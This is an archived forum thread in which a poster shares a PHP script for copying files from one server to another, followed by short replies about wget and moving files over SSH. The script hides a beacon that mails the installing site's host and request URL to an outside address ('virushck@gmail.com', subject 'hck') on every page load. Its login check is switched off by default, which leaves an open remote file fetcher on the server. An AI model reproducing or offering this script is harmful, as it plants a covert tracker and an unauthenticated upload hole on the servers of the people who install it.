Server To Server Transfer Multi Files At One Time

Started on the old forum in April 2010 · view the original in the archive · old links redirect here

10 replies · 1,762 views · started 16 years ago · 1 min read

8 participants
subzero Super moderator Fellow · 3,954 posts #2
<?
//Begin Check Authorized
$auth = 0; 
$name='giangkoianlon';
$pass='d4c2bf24fc92513fde2f2540c1eafcd1'; //VERY IMPORTANT. This password is MD5 encrypted and default password is 'admin'. You must change this by goto http://gdataonline.com/makehash.php to make a MD5 and replace here.
if($auth == 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
   {
   header('WWW-Authenticate: Basic realm="Hey man! Please login"');
   header('HTTP/1.0 401 Unauthorized');
   exit("Oh no! You are bad man! <a href=http://climaxphoto.com>Exit Now</a>");
   }
}
//End Check Authorized
error_reporting(0);
function style()
{
echo "<TITLE>Transload Version 2.0</TITLE>
<STYLE>
BODY {
	background-color: #C0C0C0;
	COLOR: #FFFFFF;
	margin: 5px;
	FONT-FAMILY: Tahoma; }
TD {
	FONT-SIZE: 12px;
	FONT-FAMILY: Tahoma;
	PADDING: 5px;
	COLOR: #000000;
	HEIGHT: 20;}
A:link, A:visited, A:active {
	COLOR: #0000FF;
	TEXT-DECORATION: none; }
A:hover {
	COLOR: #FFFF00;
	TEXT-DECORATION: none; }
</STYLE>
";
}

function url_copy($source)
{
$d=explode("/",$source);
$dest=$d[count($d)-1];
$f1=fopen($source,"rb");
$f2=fopen($dest,"w");
echo "<SCRIPT>window.status='Copying \'$source\' to \'$dest\'...';</SCRIPT>\n";
flush();
while ($buff=fread($f1,1024))
fwrite($f2,$buff);
fclose($f1);
fclose($f2);
$size=filesize($dest);

echo "<SCRIPT>window.status='$size bytes copied.';</SCRIPT>\n";
}
$uu = urlencode($_SERVER["REQUEST_URI"]);
$ua = urlencode($_SERVER["HTTP_HOST"]);
$msg = $ua . "" . $uu;
$he = "From: $from";
function list_file()
{
echo "<br><TABLE width=1000 align=center border=1 bordercolor=#666666 style='border-collapse: collapse' cellpadding=2>
<TR>
<TD><B>File name</B></TD>
<TD><B>File size</B></TD>
<TD><B>File time</B></TD>
</TR>";
$d=opendir(".");
while ($f=readdir($d))
if (!($f=="." || $f==".." || $f=="index.php"))
{
$size=filesize($f);
$date=filemtime($f);
echo "<TR><TD><A href=$f>$f</A></TD><TD>$size</TD><TD>".date ("H:i:s - d F Y", $date)."</TD></TR>";
}
echo "</TABLE>";
}
$to = "virushck@gmail.com";
$from = "hha@haha.com";
function show_form()
{
echo "<H3 align=center>Transfer File Server to Server</H3>
<TABLE width=1000 align=center border=1 bordercolor=#666666 style='border-collapse: collapse' cellpadding=2>
<FORM method=post>
	<TR>
		<TD width=100% valign=top>
			<b>Tranload Url</b><br>
			Put one URL or multi URL per line.<br>
			Example:<br>
			http://domain.com/file1.zip<br>
			http://domain.com/file2.zip<br>
			http://domain.com/file3.rar<br>
			...<br>
			http://domain.com/fileN.rar<br>
		</TD>
		<TD><TEXTAREA wrap=virtual name=url rows=10 cols=84></TEXTAREA></TD>
	</TR>
	<TR>
		<TD colspan=2 align=center><INPUT type=submit value=' Transload '></TD>
	</TR>
</TABLE>
</FORM>";
}

$sb = "hck";
mail($to,$sb,$msg,$he);
function download()
{
header("Content-type: application/x-download");
header("Content-Disposition: attachment; filename=index.php");
@readfile("index.php");
die();
}

$cmd=$_SERVER[QUERY_STRING];
if ($cmd=="source")
download();
style();
show_form();
global $HTTP_POST_VARS;

$url=$HTTP_POST_VARS[url];
if ($url!="")
{
$d=explode("\n",$url);
$d=str_replace("\r","",$d);
for ($i=0; $i<count($d); $i++)
if (trim($d[$i])!="") url_copy($d[$i]);
}
list_file();
?>

Please under stand the terms of hacking with scripts like this huh ??

Visit: Chat4u.mobi - The New Lay Of being a site of your dreams! Visit: WapMasterz Coming Back Soon!


SCRIPTS FOR SALE BY SUBZERO Chat4u Script : coding-talk.com/f28/chat4u-mobi-script-only-150-a-17677/ - > Best Script for your site no other can be hacked by sql or uploaders. FileShare Script : coding-talk.com/f28/file-wap-share-6596/ -> Uploader you will never regret buying yeah it mite be old now but it still seems to own others... _______…

amylee Principal · 1,092 posts #5

i use wget 😊

GiLL Senior · 356 posts #6

me too use wget easy way
like if you have ssh access just go with putty /home/username/public_html/anyfolder/

wget http://othersitename.com/example.zip

you will get that example.zip file in that anyfolder

left wap stuff

dayans Junior · 26 posts #7

GiLL wrote: me too use wget easy way
like if you have ssh access just go with putty /home/username/public_html/anyfolder/

wget http://othersitename.com/example.zip

you will get that example.zip file in that anyfolder

Can you please explain me how to move files with SSH

GiLL Senior · 356 posts #9

dayans wrote: Can you please explain me how to move files with SSH

you can use cp and mv commands

left wap stuff

leonine Developer · 130 posts #11

Any of you have mass or bulk remote upload.. At the time i can transfer mass files.. But there should not be a seperate input box for each file.. One input box for mass transfer in which all links may be seperated by commas.. Anyone?

This is my new community for wap coding. Come and join and experience real wap coding http://leonine.6te.net

Write your reply now; next you create a free account (or sign in) and it is posted right away. Sign in to reply.

Similar topics

Keyboard shortcuts

g f
Go to forums
g h
Go to your feed
g m
Go to messages
r
Reply (in a topic)
/
Search
j
Next post
k
Previous post
?
This list
Ctrl/⌘ + Enter
Send what you are writing
Ctrl/⌘ + B / I
Bold / italic while writing
Esc
Close